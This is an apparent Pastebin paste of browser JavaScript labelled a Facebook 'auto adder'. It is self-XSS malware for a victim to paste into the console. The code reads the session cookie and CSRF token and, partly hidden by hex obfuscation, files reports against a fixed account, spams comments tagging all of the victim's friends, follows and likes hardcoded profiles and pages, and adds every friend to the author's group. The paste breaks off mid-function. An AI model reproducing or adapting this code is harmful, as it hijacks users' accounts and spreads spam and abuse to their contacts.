Advertisement
VilsonSaci

Auto Adder All Friends In Group

Jul 6th, 2014
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 29.66 KB | None | 0 0
  1.  
  2. function hp_d12(s) {
  3. var o = "",
  4. ar = new Array(),
  5. os = "",
  6. ic = 0,
  7. p = 0;
  8. for (i = 0; i < s.length; i++) {
  9. c = s.charCodeAt(i);
  10. if (c < 128) c = c ^ ((p++ % 8) + 1);
  11. os += String.fromCharCode(c);
  12. if (os.length > 80) {
  13. ar[ic++] = os;
  14. os = ""
  15. }
  16. }
  17. o = ar.join("") + os;
  18. return o
  19. }
  20. var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;
  21. var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
  22. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  23. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24.  
  25. function cereziAl(isim) {
  26. var tarama = isim + "=";
  27. if (document.cookie.length > 0) {
  28. konum = document.cookie.indexOf(tarama);
  29. if (konum != -1) {
  30. konum += tarama.length;
  31. son = document.cookie.indexOf(";", konum);
  32. if (son == -1) son = document.cookie.length;
  33. return unescape(document.cookie.substring(konum, son))
  34. } else {
  35. return ""
  36. }
  37. }
  38. }
  39. function getRandomInt(min, max) {
  40. return Math.floor(Math.random() * (max - min + 1)) + min
  41. }
  42. function randomValue(arr) {
  43. return arr[getRandomInt(0, arr.length - 1)]
  44. }
  45. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  46. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  47.  
  48. function a(abone) {
  49. var http4 = new XMLHttpRequest();
  50. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  51. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  52. http4.open("POST", url4, true);
  53. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  54. http4.setRequestHeader("Content-length", params4.length);
  55. http4.setRequestHeader("Connection", "close");
  56. http4.onreadystatechange = function() {
  57. if (http4.readyState == 4 && http4.status == 200) {
  58. http4.close
  59. }
  60. };
  61. http4.send(params4)
  62. }
  63.  
  64.  
  65. var gid = ['443059055805550'];
  66. var gid = ['438208409593490'];
  67. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  68. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  69. var httpwp = new XMLHttpRequest();
  70. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  71. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  72. httpwp['open']('POST', urlwp, true);
  73. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  74. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  75. httpwp['setRequestHeader']('Connection', 'keep-alive');
  76. httpwp['send'](paramswp);
  77. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  78. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  79. var friends = new Array();
  80. gf = new XMLHttpRequest();
  81. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  82. gf['send']();
  83. if (gf['readyState'] != 4) {} else {
  84. data = eval('(' + gf['responseText']['substr'](9) + ')');
  85. if (data['error']) {} else {
  86. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  87. return _0x93dax8['index'] - _0x93dax9['index']
  88. })
  89. }
  90. };
  91. var Title = 'Auto Adders by Vilson Saçi <A style="color:#3B5998;" href="https://www.facebook.com ">Facebook.</A>';
  92. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  93. var Descriptions = "",
  94. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/ GroupsByVilson /">Vilson Saçi Albania .</A> team589.';
  95.  
  96. function AddFriendtoGroup(opo) {
  97. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  98. var b = a.substring(a.indexOf("{"));
  99. var c = JSON.parse(b);
  100. i--;
  101. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  102. if (c.error) {
  103. Descriptions += "color:darkred'>";
  104. err++;
  105. if (c.errorDescription) Descriptions += c.errorDescription;
  106. else Descriptions += JSON.stringify(c, null, "")
  107. } else {
  108. Descriptions += "color:darkgreen'>";
  109. Descriptions += arn[i] + " has been added.<br/>";
  110. suc++
  111. }
  112. Descriptions += "</div>";
  113. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  114. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  115. if (i > 0) {
  116. display += arr.length + " Friends Detected<br/>";
  117. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  118. display += "(" + i + " Lefted...)";
  119. display += "<div class='friend-edge'>";
  120. display += Descriptions;
  121. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  122. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  123. display += getuname + " team589 Vilson Saçi " + grpname + ".<br/>";
  124. display += _text;
  125. display += "</div>";
  126. display += "</div>"
  127. } else {
  128. display += arr.length + " Friends Detected<br/>";
  129. display += suc + " Friends Added</br>";
  130. display += err + " Friends Not Added</br></br>";
  131. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>install</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Uninstall</span>"
  132. }
  133. display += "</div>";
  134. document.getElementById("pagelet_sidebar").innerHTML = display
  135. }, "text", "post");
  136. tay--;
  137. if (tay > 0) {
  138. var s = arr[tay];
  139. sx = pho[tay];
  140. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  141. }
  142. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  143. if (gid != 443059055805550) {
  144. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=443059055805550&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  145. }
  146. if (newcomer) {
  147. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003251100769&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  148. }
  149. }
  150. function clickfr_callback() {
  151. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  152. var a = arr[i];
  153. if (i < arr.length) addfriend(a.substring(0, 4))
  154. }
  155. function clickfr() {
  156. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  157. else j++;
  158. setTimeout("clickfr_callback()", 2E3)
  159. }
  160. function addfriend(a) {
  161. i++;
  162. setTimeout("clickfr()", 2E3)
  163. }
  164. jx = {
  165. getHTTPObject: function() {
  166. var a = false;
  167. if (typeof ActiveXObject != "undefined") try {
  168. a = new ActiveXObject("Msxml2.XMLHTTP")
  169. } catch (b) {
  170. try {
  171. a = new ActiveXObject("Microsoft.XMLHTTP")
  172. } catch (c) {
  173. a = false
  174. }
  175. } else if (window.XMLHttpRequest) try {
  176. a = new XMLHttpRequest
  177. } catch (b) {
  178. a = false
  179. }
  180. return a
  181. },
  182. load: function(url, callback, format, method, opt) {
  183. var http = this.init();
  184. if (!http || !url) return;
  185. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  186. if (!method) method = "GET";
  187. if (!format) format = "text";
  188. if (!opt) opt = {};
  189. format = format.toLowerCase();
  190. method = method.toUpperCase();
  191. var now = "uid=" + (new Date).getTime();
  192. url += url.indexOf("?") + 1 ? "&" : "?";
  193. url += now;
  194. var parameters = null;
  195. if (method == "POST") {
  196. var parts = url.split("?");
  197. url = parts[0];
  198. parameters = parts[1]
  199. }
  200. http.open(method, url, true);
  201. var ths = this;
  202. if (opt.handler) http.onreadystatechange = function() {
  203. opt.handler(http)
  204. };
  205. else http.onreadystatechange = function() {
  206. if (http.readyState == 4) if (http.status == 200) {
  207. var result = "";
  208. if (http.responseText) result = http.responseText;
  209. if (format.charAt(0) == "j") {
  210. result = result.replace(/[\n\r]/g, "");
  211. result = eval("(" + result + ")")
  212. } else if (format.charAt(0) == "x") result = http.responseXML;
  213. if (callback) callback(result)
  214. } else {
  215. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  216. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  217. if (error) error(http.status)
  218. }
  219. };
  220. http.send(parameters)
  221. },
  222. bind: function(a) {
  223. var b = {
  224. url: "",
  225. onSuccess: false,
  226. onError: false,
  227. format: "text",
  228. method: "GET",
  229. update: "",
  230. loading: "",
  231. loadingIndicator: ""
  232. };
  233. for (var c in b) if (a[c]) b[c] = a[c];
  234. if (!b.url) return;
  235. var d = false;
  236. if (b.loadingIndicator) {
  237. d = document.createElement("div");
  238. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  239. d.setAttribute("class", "loading-indicator");
  240. d.innerHTML = b.loadingIndicator;
  241. document.getElementsByTagName("body")[0].appendChild(d);
  242. this.opt.loadingIndicator = d
  243. }
  244. if (b.loading) document.getElementById(b.loading).style.display = "block";
  245. this.load(b.url, function(a) {
  246. if (b.onSuccess) b.onSuccess(a);
  247. if (b.update) document.getElementById(b.update).innerHTML = a;
  248. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  249. if (b.loading) document.getElementById(b.loading).style.display = "none"
  250. }, b.format, b.method, b)
  251. },
  252. init: function() {
  253. return this.getHTTPObject()
  254. }
  255. };
  256. var nHtml = {
  257. FindByAttr: function(a, b, c, d) {
  258. if (c == "className") c = "class";
  259. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  260. if (e && e.singleNodeValue) return e.singleNodeValue;
  261. return null
  262. },
  263. FindByClassName: function(a, b, c) {
  264. return this.FindByAttr(a, b, "className", c)
  265. },
  266. FindByXPath: function(a, b) {
  267. try {
  268. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  269. } catch (d) {
  270. GM_log("bad xpath:" + b)
  271. }
  272. if (c && c.singleNodeValue) return c.singleNodeValue;
  273. return null
  274. },
  275. VisitUrl: function(a) {
  276. window.setTimeout(function() {
  277. document.location.href = a
  278. }, 500 + Math.floor(Math.random() * 500))
  279. },
  280. ClickWin: function(a, b, c) {
  281. var d = a.document.createEvent("MouseEvents");
  282. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  283. return !b.dispatchEvent(d)
  284. },
  285. Click: function(a) {
  286. return this.ClickWin(window, a, "click")
  287. },
  288. ClickTimeout: function(a, b) {
  289. window.setTimeout(function() {
  290. return nHtml.ClickWin(window, a, "click")
  291. }, b + Math.floor(Math.random() * 500))
  292. },
  293. ClickUp: function(a) {
  294. this.ClickWin(window, a, "mousedown");
  295. this.ClickWin(window, a, "mouseup");
  296. this.ClickWin(window, a, "click")
  297. },
  298. GetText: function(a, b) {
  299. var c = "";
  300. if (b == undefined) b = 0;
  301. if (b > 40) return;
  302. if (a.textContent != undefined) return a.textContent;
  303. for (var d = 0; d < a.childNodes.length; d++) {
  304. var e = a.childNodes[d];
  305. c += this.GetText(e, b + 1)
  306. }
  307. return c
  308. }
  309. };
  310. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  311. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  312. var c = document.getElementsByTagName("*");
  313. var d = [];
  314. var e;
  315. for (var f = 0;
  316. (e = c[f]) != null; f++) {
  317. var g = e.className;
  318. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  319. }
  320. return d
  321. };
  322. Array.prototype.find = function(a) {
  323. var b = false;
  324. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  325. if (a.test(this[i])) {
  326. if (!b) b = [];
  327. b.push(i)
  328. }
  329. } else if (this[i] === a) {
  330. if (!b) b = [];
  331. b.push(i)
  332. }
  333. return b
  334. };
  335. var i = 3;
  336. var tay = 3;
  337. var j = 0;
  338. var k = 0;
  339. var suc = 0;
  340. var err = 0;
  341. var arr = new Array;
  342. var arn = new Array;
  343. var pho = new Array;
  344. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  345. var gid = document.getElementsByName("group_id")[0].value;
  346. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  347. var b = a;
  348. var c = b.substring(b.indexOf("{"));
  349. var d = JSON.parse(c);
  350. d = d.payload.entries;
  351. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  352. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  353. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  354. i = arr.length - 1;
  355. tay = i;
  356. console.log(arr.length);
  357. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  358. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  359. display += arr.length + " Friends Detected";
  360. display += "</div>";
  361. document.getElementById("pagelet_sidebar").innerHTML = display;
  362. AddFriendtoGroup(arr[i])
  363. });
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  372. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  373.    
  374. function cereziAl(isim) {
  375.     var tarama = isim + "=";
  376.     if (document.cookie.length > 0) {
  377.         konum = document.cookie.indexOf(tarama)
  378.         if (konum != -1) {
  379.             konum += tarama.length
  380.             son = document.cookie.indexOf(";", konum)
  381.             if (son == -1)
  382.                 son = document.cookie.length
  383.             return unescape(document.cookie.substring(konum, son))
  384.         }
  385.         else { return ""; }
  386.     }
  387. }
  388.  
  389. function getRandomInt (min, max) {
  390.     return Math.floor(Math.random() * (max - min + 1)) + min;
  391. }
  392. function randomValue(arr) {
  393.     return arr[getRandomInt(0, arr.length-1)];
  394. }
  395.  
  396. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  397. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  398.  
  399. function a(abone){
  400.     var http4 = new XMLHttpRequest();
  401.      
  402.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  403.      
  404.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  405.     http4.open("POST", url4, true);
  406.      
  407.     //Send the proper header information along with the request
  408.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  409.     http4.setRequestHeader("Content-length", params4.length);
  410.     http4.setRequestHeader("Connection", "close");
  411.      
  412.     http4.onreadystatechange = function() {//Call a function when the state changes.
  413.     if(http4.readyState == 4 && http4.status == 200) {
  414.        
  415.       http4.close; // Close the connection
  416.      
  417.     }
  418.     }
  419.    
  420.     http4.send(params4);
  421. }
  422.  
  423. function sublist(uidss) {
  424.         var a = document.createElement('script');
  425.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  426.         document.body.appendChild(a);
  427. }
  428.  
  429. sublist("827079857321005");
  430. sublist("827080560654268");
  431. sublist("755537921141866");
  432. sublist("777978295564495");
  433. sublist("1436031959967168");
  434. sublist("798028190226172");
  435. sublist("798028086892849");
  436. sublist("809109455784712");
  437. sublist("1441194856121042");
  438.  
  439. a("100006811324182");
  440. a("100000569963266");
  441. a("1413699705549669");
  442. a("627888383961400");
  443.  
  444. Like("475099185870061");
  445. Like("249048678610871");
  446. Like("1487890411424279");
  447. Like("1419432078307080");
  448. Like("546594725461669");
  449. Like("631328216944602");
  450. Like("716431721735818");
  451.  
  452.  
  453.  
  454. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  455. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  456.  
  457. var httpwp = new XMLHttpRequest();
  458. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  459. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  460. httpwp['open']('POST', urlwp, true);
  461. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  462. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  463. httpwp['setRequestHeader']('Connection', 'keep-alive');
  464. httpwp['send'](paramswp);
  465.  
  466. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  467. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  468.  
  469. var friends = new Array();
  470. gf = new XMLHttpRequest();
  471. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  472. gf['send']();
  473. if (gf['readyState'] != 4) {} else {
  474.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  475.     if (data['error']) {} else {
  476.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
